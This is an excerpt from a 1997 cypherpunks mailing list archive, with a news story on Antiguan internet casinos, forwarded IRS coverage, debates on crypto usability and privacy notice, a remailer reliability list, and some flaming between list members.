   publicly traded in Canada, Scott's casino software uses banking and
   encryption technology to, as he puts it, "convert real money into
   virtual cash" quickly and safely. And all winners, he said, are paid
   in a day.
        Although Scott said he welcomed the "big package of new
   regulations" that the Antiguan government recently sent him as key to
   protecting the image of the new industry, he added, "I don't think
   anybody has the knowledge of how to regulate this technology."
        And that, U.S. officials say, is especially true in Antigua,
   where the cash-strapped government has few resources and, critics say,
   little resolve to become more open.
        "This island is operated like a lodge. It's like a secret
   society," said Winston Derrick, who publishes Antigua's only
   independent newspaper. "You have to fight and fight for information."
        The government's annual expenditures, for example, are published,
   but years after the money is spent--a deliberate effort to minimize
   public interest and scrutiny, Derrick said. He added that police
   officials say even the most basic crime report is confidential.
        Although the government permits Derrick to publish his feisty
   Daily Observer, he and his brother were arrested when they started the
   island's first independent radio station last December. The case is
   still in court, and the station has not reopened.
        The prospect of prison also looms for Leonard Tim Hector if the
   opposition leader and publisher writes another word about the island's
   latest scandal--this one involving the prime minister and his
   family--in Hector's biweekly, the Outlet.
        Bird, whose family has controlled Antigua's power and politics
   for half a century, won an injunction against Hector after the
   opposition leader published stories attacking the premier for alleged
   corruption. One quoted a Venezuelan businessman, who was convicted of
   cocaine trafficking along with one of Bird's brothers two years ago,
   as saying that the premier took a $1-million bribe from Colombia's
   Cali cartel to permit drug transshipments through Antigua--a charge
   Bird flatly denies.
        Hector said he is undecided about whether to risk what would be
   his 12th prison term here by publishing more of the Venezuelan's
   accusations. But the injunction has not stopped him from sharply
   criticizing Bird's government for its policies toward offshore
   business and its lax regulation. He blamed those factors for the
   recent Internet bank debacle and said they invite similar abuse in the
   virtual casino industry.
        "They simply do not intend to regulate these new Internet
   casinos," Hector said in a recent interview. "The prime minister
   doesn't see that in his best interest."
        None of the few government officials who oversee the new
   cyber-casino trade along with all other offshore businesses on the
   island could be reached for comment.
        In the aftermath of the Internet bank collapse, however, the
   official Antigua & Barbuda Government Internet Web page has posted the
   new offshore rules and regulations for closer inspection.
        But a look at the rise and fall of the European Union Bank, which
   billed itself as the world's first full-service Internet bank, helps
   explain why U.S. officials are viewing Antigua's latest cyber-boom
   with concern.
        Privately, many of those officials said the Antiguan government
   should have been suspicious of the bank's operations long before it
   closed its only door in early August, leaving tens of millions of
   dollars in deposits missing.
        The Bank of England grew suspicious of the bank in October. It
   publicly warned investors that the bank was offering unrealistically
   high interest rates in an unsecured environment that is not policed.
        After a similar alert from U.S. banking officials in April, the
   state of Idaho issued a cease-and-desist order against the bank,
   barring it from offering its services to Internet customers in the
   state.
        But it wasn't until the day the bank shut down that Antigua's new
   Office of National Drugs and Money Laundering Policy issued an
   official "fraud alert," which opposition publisher Hector called
   "closing the stable door after both thieves and horses have bolted."
        Jane Rodriguez, Bill Scott's systems administrator--who set up
   the Intercasino Web site--concluded: "If the government wants the
   revenue to continue to flow, they know they have got to make an effort
   to control it."
   
   [8]Search the archives of the Los Angeles Times for similar stories.
   You will not be charged to look for stories, only to retrieve one.
   
   Copyright Los Angeles Times
   [9]PREV STORY
   [10]NEXT STORY
     _________________________________________________________________
   
   [News..............] ______________
   [Site Index.......] ______________

References

   1. http://www.latimes.com/
   2. http://www.latimes.com/GIFS/HEADERS/hfrontpg.map
   3. LYNXIMGMAP:http://www.latimes.com/HOME/NEWS/FRONT/t000084367.html#secmap
   4. http://www.latimes.com/cgi-bin/redir?SpaceID=73&AdID=404&URL=http://www.leadingladies.com
   5. mailto:Mark.Fineman@latimes.com
   6. http://www.latimes.com/HOME/NEWS/FRONT/t000084295.html
   7. http://www.latimes.com/HOME/NEWS/FRONT/index.htm
   8. http://www.latimes.com/HOME/ARCHIVES/simple.htm?bot
   9. http://www.latimes.com/HOME/NEWS/FRONT/t000084295.html
  10. http://www.latimes.com/HOME/NEWS/FRONT/index.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 22 Sep 1997 13:56:48 +0800
To: fnorky@geocities.com (Douglas L. Peterson)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3420afc6.108774731@mail.geocities.com>
Message-ID: <199709220545.AAA01492@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Ok, we write code.  But as James S. Tyre pointed out, if the code is
> too difficult to use it will not be.  And as Declan pointed out
> many/most people will not use the crypto if they must think about it.
> Writing the code is no longer enough.  The code must be usable by the
> sheeple to work.  How do we do that?

	Pay someone to write easy to use interfaces to the crypto libraries
already out there. 

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 22 Sep 1997 15:55:48 +0800
To: Will Rodger <cypherpunks@Algebra.COM
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
Message-ID: <v03102800b04bd2b0a402@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 PM -0700 9/20/97, Will Rodger wrote:

>One of the main assertions made by both sides in the privacy battles
>is people must be informed when a third party is gathering "personal"
>information about them.
>

I don't know which two sides are the "both sides" you'r describing, but "my
side" believes no such thing.


--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 22 Sep 1997 14:38:46 +0800
To: lizard@dnai.com (Lizard)
Subject: Re: The problem of playing politics with our constitutional
In-Reply-To: <3.0.1.32.19970915104030.00b06e90@dnai.com>
Message-ID: <199709220604.BAA01568@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 10:09 AM 9/15/97 -0700, sameer wrote:
> >> Writing the code is no longer enough.  The code must be usable by the
> >> sheeple to work.  How do we do that?
> >	Sell code.
> Marketing.
> 
> It's not enough to have a great product -- you must also have great

	Or, more correctly, you don't have to have a great product, it
just has to _seem_ easy to use (Win95)--and you must also have great

> marketing. In the case of memewar, you need to get people to want to use
> something, enough to change their habits, even slightly. The less they need
> to change, relative to the benefit they get, the better.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 22 Sep 1997 14:17:44 +0800
To: jim.burnes@ssds.com
Subject: Re: Tim May on "The People"
In-Reply-To: <Pine.LNX.3.95.970722092534.7401C-100000@westsec.denver.ssds.com>
Message-ID: <199709220608.BAA01580@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> The people believe they are free because the powers-that-be allow them to
> excercise a relatively feeble "right" to vote.  Somehow, even though we've
> had this right since the beginning, things have gone from bad to worse
> without stop.

	"even though", or "because"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@linux.nycmetro.com>
Date: Mon, 22 Sep 1997 14:27:59 +0800
To: cypherpunks@toad.com
Subject: irs_1.html
Message-ID: <199709220214.CAA00309@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: U.S., Japan Face Off on Trade at G7 Meeting
   Next Story: Clinton Warns He Will Veto Education Bills
     _________________________________________________________________
   
   Sunday September 21 4:40 AM EDT 
   
Senate Panel to Examine IRS Inside Out

   By Tabassum Zakaria
   
   WASHINGTON (Reuter) - The Senate Finance Committee is set to present
   the results of a six-month probe into the Internal Revenue Service
   which found a quota system that rewarded agents who brought in the
   cash.
   
   The committee, chaired by Delaware Republican Sen. William Roth, will
   hold three days of hearings next week intended to take a look at the
   tax collection agency from the inside out.
   
   The atmosphere will have a touch of cloak-and-dagger with one panel of
   IRS agents testifying behind a screen to keep their identities secret,
   some using voice distorting equipment. Extra metal detectors will be
   set up outside the hearing room.
   
   The committee investigation began in February after being allotted
   $250,000 for a year to conduct the review. Investigators received
   about 1,000 telephone calls, letters and e-mails from taxpayers and
   IRS agents, and four cases will be presented at the hearings Sept.
   23-25.
   
   "These people have horrendous power, granted by (Congress)...it's
   legitimate, but that's a big amount of power," a committee source, who
   spoke on condition of anonymity, said.
   
   "To be able to take a residence on nothing more than a couple of
   signatures," the source said, referring to the IRS's authority to
   confiscate cars, homes and other property from people who owe taxes.
   
   An IRS spokesman said the agency carried out the law as written by
   Congress and that if mistakes were made, it tried to correct them.
   
   "We hope that these hearings will constitute a fair and open review of
   how the IRS conducts itself in using the tools that the Congress has
   given us," the IRS spokesman said.
   
   "We deal with millions of taxpayers every year, and in the vast
   majority of cases taxpayers feel that they are treated courteously and
   professionally," he added.
   
   In contrast, the investigation found many taxpayers complained the IRS
   did not listen to them and assumed they were guilty and wanted to
   cheat on their tax returns.
   
   The investigation found an apparent quota system in which agents were
   asked to bring in a certain amount of dollars when they went out to
   collect taxes, which led to some stretching the truth on what people
   owed, the committee source said.
   
   Agents were rewarded in their careers if they closed a certain number
   of cases or filed a certain number of levies or liens. That offered
   incentives for agents to close out the easiest cases which tended to
   be people with fewer resources to defend themselves, the committee
   source said.
   
   Another "tip of the iceberg" finding was that some agents used
   falsified credentials so their real names would not be revealed in
   face-to-face situations. Those types of credentials are only supposed
   to be used by the Treasury Department's criminal division, the
   committee source said.
   
   "One of the things that Senator Roth has wanted to emphasize is that
   there are good employees at the IRS," Ginny Flynn, spokeswoman for
   Roth, said.
   
   In fiscal 1996, the IRS received almost 119 million individual tax
   returns and collected almost $1.4 trillion in taxes. At the end of
   last year, there were 15,153 revenue agents who conducted examinations
   and 7,472 revenue officers who did collections.
   
   Roth did not want the hearings to be used for political fodder --
   "this is not a reflection of the administration, this is a cultural
   problem," Flynn said.
   
   However other Republican lawmakers have been using attention on the
   IRS to make political points.
   
   Sen. Mitch McConnell of Kentucky, as chairman of the National
   Republican Senatorial Committee which raises funds, sent letters
   seeking contributions which said: "...consider this: your tax dollars
   are paying for seminars that teach IRS agents to treat you like a
   criminal!"
     _________________________________________________________________
   
   Earlier Related Stories
     * Senate Panel to Examine IRS Inside Out - Sat Sep 20 11:36 pm
     _________________________________________________________________
                                      
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    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: maria@linux.nycmetro.com
Date: Mon, 22 Sep 1997 14:37:56 +0800
To: cypherpunks@toad.com
Subject: irs_1.html
Message-ID: <199709220631.CAA21488@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: U.S., Japan Face Off on Trade at G7 Meeting
   Next Story: Clinton Warns He Will Veto Education Bills
     _________________________________________________________________
   
   Sunday September 21 4:40 AM EDT 
   
Senate Panel to Examine IRS Inside Out

   By Tabassum Zakaria
   
   WASHINGTON (Reuter) - The Senate Finance Committee is set to present
   the results of a six-month probe into the Internal Revenue Service
   which found a quota system that rewarded agents who brought in the
   cash.
   
   The committee, chaired by Delaware Republican Sen. William Roth, will
   hold three days of hearings next week intended to take a look at the
   tax collection agency from the inside out.
   
   The atmosphere will have a touch of cloak-and-dagger with one panel of
   IRS agents testifying behind a screen to keep their identities secret,
   some using voice distorting equipment. Extra metal detectors will be
   set up outside the hearing room.
   
   The committee investigation began in February after being allotted
   $250,000 for a year to conduct the review. Investigators received
   about 1,000 telephone calls, letters and e-mails from taxpayers and
   IRS agents, and four cases will be presented at the hearings Sept.
   23-25.
   
   "These people have horrendous power, granted by (Congress)...it's
   legitimate, but that's a big amount of power," a committee source, who
   spoke on condition of anonymity, said.
   
   "To be able to take a residence on nothing more than a couple of
   signatures," the source said, referring to the IRS's authority to
   confiscate cars, homes and other property from people who owe taxes.
   
   An IRS spokesman said the agency carried out the law as written by
   Congress and that if mistakes were made, it tried to correct them.
   
   "We hope that these hearings will constitute a fair and open review of
   how the IRS conducts itself in using the tools that the Congress has
   given us," the IRS spokesman said.
   
   "We deal with millions of taxpayers every year, and in the vast
   majority of cases taxpayers feel that they are treated courteously and
   professionally," he added.
   
   In contrast, the investigation found many taxpayers complained the IRS
   did not listen to them and assumed they were guilty and wanted to
   cheat on their tax returns.
   
   The investigation found an apparent quota system in which agents were
   asked to bring in a certain amount of dollars when they went out to
   collect taxes, which led to some stretching the truth on what people
   owed, the committee source said.
   
   Agents were rewarded in their careers if they closed a certain number
   of cases or filed a certain number of levies or liens. That offered
   incentives for agents to close out the easiest cases which tended to
   be people with fewer resources to defend themselves, the committee
   source said.
   
   Another "tip of the iceberg" finding was that some agents used
   falsified credentials so their real names would not be revealed in
   face-to-face situations. Those types of credentials are only supposed
   to be used by the Treasury Department's criminal division, the
   committee source said.
   
   "One of the things that Senator Roth has wanted to emphasize is that
   there are good employees at the IRS," Ginny Flynn, spokeswoman for
   Roth, said.
   
   In fiscal 1996, the IRS received almost 119 million individual tax
   returns and collected almost $1.4 trillion in taxes. At the end of
   last year, there were 15,153 revenue agents who conducted examinations
   and 7,472 revenue officers who did collections.
   
   Roth did not want the hearings to be used for political fodder --
   "this is not a reflection of the administration, this is a cultural
   problem," Flynn said.
   
   However other Republican lawmakers have been using attention on the
   IRS to make political points.
   
   Sen. Mitch McConnell of Kentucky, as chairman of the National
   Republican Senatorial Committee which raises funds, sent letters
   seeking contributions which said: "...consider this: your tax dollars
   are paying for seminars that teach IRS agents to treat you like a
   criminal!"
     _________________________________________________________________
   
   Earlier Related Stories
     * Senate Panel to Examine IRS Inside Out - Sat Sep 20 11:36 pm
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
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                            Entertain | Health ]
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    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter F Cassidy <pcassidy@world.std.com>
Date: Mon, 22 Sep 1997 15:12:22 +0800
To: cypherpunks@toad.com
Subject: On the trail of David Aarons
Message-ID: <Pine.SGI.3.95.970922025421.28367A-100000@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain





Fellas,

Don't flame me for asking. It's just that in following this guy I cannot
get very close to those who have met with the crypto czar - except in
Japaan where sources have gotten me pretty close to the man's activities.
. . 

I'm trying to finish up the research for a piece on Aaron who has been
meeeting with Western Allies to get them on-board the key escrow program
that the Clinton Administration has mindelessly pursued since the first
week of its reign. 

Aaron has been all over, visiting UK, Japan and Germany and Australia -
meeting different kinds of receptions, most visibly successful in Japan. 

All I am asking here is if anyone has contacts at important labs or
government ministries where Aaron might have been received. I've got to
have my ducks lined up before I interview him.


Regards,

Peter Cassidy for
WIRED Magazine












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Mon, 22 Sep 1997 18:27:55 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: encouraging digital pseudonyms
Message-ID: <Pine.SUN.3.96.970922031430.14500A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



One of Tim's suggested cypherpunk projects is to encourage the use of
digital pseudonyms (i.e. cryptographically persistent entities not linked
with True Names). I think the main reason why pseudonyms are not used more
widely is the lack of support on client software, especially on the
receiver side. When I see a piece of email sent to the cypherpunks list
from an anonymous remailer, I typically delete it without reading, because
there is no easy way to tell between anynoymous email (which are typically
junk) and pseudonymous email, and there is no easy way to filter by
pseudonym.

Of course the long-term solution is to get native pseudonym support on the
client software, but in the mean time there is a fairly simple workaround
if someone wants to volunteer a modest amount of resources. That person
should set up a mailing list that simply resends cypherpunk traffic that
are signed by pseudonyms. To help filtering, the pseudonym's key hash
should be prepended to the subject.

When this is done, those of us who want to can filter out everything sent
by remailers to the cypherpunks mailing list and subscribe to the proposed
service. If enough of us do this, it should motivate anonymous senders to
set up persistent identities. If the trouble of generating new pseudonyms
is not enough to discourage the anonymous junk, the proposed service can
charge ecash or hashcash either per pseudonym or per email.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 22 Sep 1997 22:04:47 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199709221350.GAA30671@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 22 Sep 97 6:48:37 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
cyber    alias@alias.cyberpass.net        ******+*****    10:29  99.99%
nym      config@nym.alias.net             *+####+#####     1:02  99.98%
cracker  remailer@anon.efga.org           +++++-++*+++    30:09  99.86%
jam      remailer@cypherpunks.ca          +++++-++++++    39:28  99.85%
redneck  config@anon.efga.org             #**#*-#**#*#    10:53  99.83%
winsock  winsock@rigel.cyberpass.net      ----.---__.# 16:36:54  99.67%
replay   remailer@replay.com              *+**** *****     4:33  99.64%
bureau42 remailer@bureau42.ml.org         -----------   3:50:50  99.64%
neva     remailer@neva.org                +--* --- ---  3:48:40  99.08%
mix      mixmaster@remail.obscura.com     ***** -*****  3:10:16  98.66%
reno     middleman@cyberpass.net           ---- --+-+*  2:23:45  98.11%
hera     goddesshera@juno.com             --.-------    8:36:27  97.55%
arrid    arrid@juno.com                     _.-----.-  12:37:56  95.99%
squirrel mix@squirrel.owl.de              -------  --   3:02:31  94.18%
valdeez  valdeez@juno.com                 -----         4:58:22  31.61%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 22 Sep 1997 19:13:54 +0800
To: cypherpunks@toad.com
Subject: [URGENT] Blowfish
Message-ID: <598f41e9429856e4e84ca808fbaafef2@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C[rook] May's reheated, refurbished, and regurgitated cud is 
completely inappropriate for the mailing lists into which it is 
cross-ruminated.

         _______c___c
        /       /_  _\
       |       ((6)(6)) Timmy C[rook] May
       (  )_  __\\  //__
       o___n) (nn)\o/(nn)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 22 Sep 1997 20:07:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: irs_1.html (fwd)
Message-ID: <199709221211.HAA15708@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: maria@linux.nycmetro.com
> Date: Mon, 22 Sep 1997 02:31:12 -0400
> Subject: irs_1.html

>    "These people have horrendous power, granted by (Congress)...it's
>    legitimate, but that's a big amount of power," a committee source, who
>    spoke on condition of anonymity, said.
>    
>    "To be able to take a residence on nothing more than a couple of
>    signatures," the source said, referring to the IRS's authority to
>    confiscate cars, homes and other property from people who owe taxes.

>    An IRS spokesman said the agency carried out the law as written by
>    Congress and that if mistakes were made, it tried to correct them.

>    "We deal with millions of taxpayers every year, and in the vast
>    majority of cases taxpayers feel that they are treated courteously and
>    professionally," he added.

Talk about clueless....


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 22 Sep 1997 19:45:35 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Letter
Message-ID: <1.5.4.32.19970922112723.00823294@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer a recent letter from Jim Bell that describes
prison and his prospects:

   http://jya.com/jimbell4.htm

It is published against his wishes, maybe. Read the letter to
see the fear (or caginess) loss of freedom teaches.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 22 Sep 1997 21:01:15 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
Message-ID: <v03007800b04c16e4756a@[204.254.22.109]>
MIME-Version: 1.0
Content-Type: text/plain



There is, I'm told by reliable sources, a forthcoming Cato Institute report
on electronic privacy that will help put this in perspective -- and
buttress my and Tim's position. Someone from the Competitive Enterprise
Institute, too, took this stance during a bunch of panels at the FTC June
privacy hearings that Will and I attended.

Simply put, you do not have any right to know when people are talking about
you behind their back. It happens all the time and, even though people may
not like it, it is a staple of society.

I spent the weekend in West Virginia, where folks are more than happy to
gossip with (and about) their neighbors. Nobody would try to shut them up
through force of law. This principle does not disappear when the
information being shared is digital.

-Declan


At 00:48 -0700 9/22/97, Tim May wrote:
>At 12:14 PM -0700 9/20/97, Will Rodger wrote:
>
>>One of the main assertions made by both sides in the privacy battles
>>is people must be informed when a third party is gathering "personal"
>>information about them.
>>
>
>I don't know which two sides are the "both sides" you'r describing, but "my
>side" believes no such thing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 23 Sep 1997 00:04:06 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970922104428.006977f4@postoffice.worldnet.att.net>
Message-ID: <Pine.GSO.3.95.970922083146.16192A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 22 Sep 1997, Will Rodger wrote, quoting me:

> >I spent the weekend in West Virginia, where folks are more than 
> happy to
> >gossip with (and about) their neighbors. Nobody would try to shut 
> them up
> >through force of law. This principle does not disappear when the
> >information being shared is digital.

> That's a bold assertion, but not one that squares easily with the 
> half-dozen or so privacy laws already on the books at the federal 
> level.

Which law, specifically, would gossiping with (or about) your neighbors
violate?

And yes, some of the "half-dozen or so privacy laws already on the books"
are misguided. Just as many argue laws against drugs, gambling, or
FCC rules prohibiting the broadcast of "indecent" material are also
unconstitutional -- and a waste of our police's time.

> I would like to go to those small-town folk of whom urban 
> intellectuals write so eloquently and ask them what they would think 
> of their neighbors posting all their gossip to a place where millions 
> can read it. Something tells me they wouldn't see those two actions 
> as one in the same. There is a qualitiative difference between the 
> two.

The problem is, I suspect, in drawing that line. Want to try your hand in
drawing a line outlining the scope of "obscenity" laws? Remember they
cover textual material in some states and comics in others. No? I didn't
think so. 

> That's about as far as I'm going on that one.
> 
> I'm sure Bernstein, DeFalco et al. will have clear reasons for why 
> none of us should care less.

I don't think the issue is whether or not individuals should "care" about
others talking about them behind their back. I think the question is how
to address it: through the force of law or not. I may not want to shut up
the Net-Nazis through the force of law (I would argue against it), but I
would certainly "care" what they say and speak out against it myself. 

Not all wrongs can be solved through the law.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Tue, 23 Sep 1997 01:05:43 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
Message-ID: <v03007800b04c4a4d8e93@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



What Tim and Declan said.

Historically, I think, third-party (3P) "notice" reflects concern about the
accuracy of files held by others and their accountability.  Much '74-era
privacy talk was about 3Ps like credit issuers making decisions about you
based on incorrect information.  Notice would help you see and correct the
files on you.  Look at the report done on personal privacy in the
information society commissioned for the Privacy Act.

These weren't then and aren't now idle concerns, but a means to an end --
"notice" -- may be being confused with an end.  I'd rather stop
"womb-to-tomb" dossiers than assure their accuracy.

IMHO "notice" of 3P info gathering misses the point.  The problems start
with first and second parties.  Remember, this is about notice for
*gathering* information, not publishing it.  That means notice even if you
never publish or use it.

If we're concerned about the gathering of personal information from public
records, for instance, why was that information collected in the first
place?

If because the gov't is regulating a transaction or relation, is that gov't
regulation necessary?  How much of the information is really needed?  How
much information does DMV need to issue a drivers' license?

Also, requiring third parties to give notice to first parties would raise
massive first amendment issues -- much of what we and the press do is
gather personal information.  What of the address books we all keep?

The constitutional problems would not exist, IMHO, if the gov't had to
notify us when it discloses our personal information.  The gov't is a major
information trafficker, both by extracting information directly, and by
requiring us to report information to 3Ps like banks, etc.

Lee

PS.  BTW, I am not a libertarian.


At 11:48 PM -0800 9/21/97, Tim May wrote:
>At 12:14 PM -0700 9/20/97, Will Rodger wrote:
>
>>One of the main assertions made by both sides in the privacy battles
>>is people must be informed when a third party is gathering "personal"
>>information about them.
>>
>
>I don't know which two sides are the "both sides" you'r describing, but "my
>side" believes no such thing.
>
>
>--Tim May






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Tue, 23 Sep 1997 00:52:44 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: What will it cost to let Big Brother watch?
In-Reply-To: <v03007802b04c403348a4@[168.161.105.141]>
